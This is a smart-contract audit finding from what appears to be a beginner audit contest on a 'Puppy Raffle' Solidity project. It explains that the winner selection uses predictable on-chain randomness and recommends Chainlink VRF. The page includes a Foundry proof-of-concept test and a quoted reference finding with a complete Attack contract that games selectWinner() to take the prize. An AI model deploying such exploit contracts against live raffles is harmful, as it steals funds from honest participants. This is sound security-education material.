Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Permissionless callers can grind the winner and capture the raffle prize

phantombugz

Root + Impact

Description

selectWinner() derives winnerIndex from msg.sender, block.timestamp, and block.difficulty, then takes the result modulo players.length. These values are observable or selectable at execution time and are not secure randomness.

Because selectWinner() is permissionless, an attacker can route the call through one of many predeployed forwarding contracts. A router checks the current block inputs, chooses a forwarder address whose hash maps to the attacker's player index, and calls only that forwarder. A block builder also has ordering and timestamp influence. This allows the attacker to bias or choose the recipient of 80% of the raffle funds.

function selectWinner() external {
// @> All entropy inputs are public or attacker/producer influenced.
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))
) % players.length;
​
// @> The predictable index directly selects the prize recipient.
address winner = players[winnerIndex];
// ...
(bool success,) = winner.call{value: prizePool}("");
_safeMint(winner, tokenId);
}

Risk

Likelihood: High

  • Any address may call selectWinner(), so the caller identity is attacker-selectable.

  • A same-transaction router can choose among prepared forwarders after current block values are known; builders have additional ordering influence.

Impact: High

  • The attacker can bias the winner toward its own paid entry and capture the 80% prize plus NFT.

  • Honest entrants lose the fair random-selection guarantee central to the raffle.

Proof of Concept

The following Foundry logic finds a caller that deterministically selects player index zero, then confirms that player wins:

function testCallerCanChooseWinner() public {
enterFourPlayers();
vm.warp(block.timestamp + raffleDuration + 1);
vm.roll(block.number + 1);
​
address chosenCaller;
for (uint160 i = 100; i < 1000; i++) {
address candidate = address(i);
uint256 index = uint256(
keccak256(abi.encodePacked(
candidate,
block.timestamp,
block.difficulty
))
) % 4;
if (index == 0) {
chosenCaller = candidate;
break;
}
}
​
vm.prank(chosenCaller);
raffle.selectWinner();
assertEq(raffle.previousWinner(), playerAtIndexZero);
}

The focused test passes. On post-Merge Ethereum, plain EOA precomputation before the block is limited by PREVRANDAO unpredictability, but this does not prevent same-block forwarder selection or builder manipulation.

Recommended Mitigation

Use a verifiable randomness source such as Chainlink VRF with a request/fulfillment flow. Freeze the participant set before requesting randomness and consume the returned random word exactly once.

Do not use caller identity, timestamps, block difficulty/PREVRANDAO, block hashes, or transaction ordering as raffle entropy.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!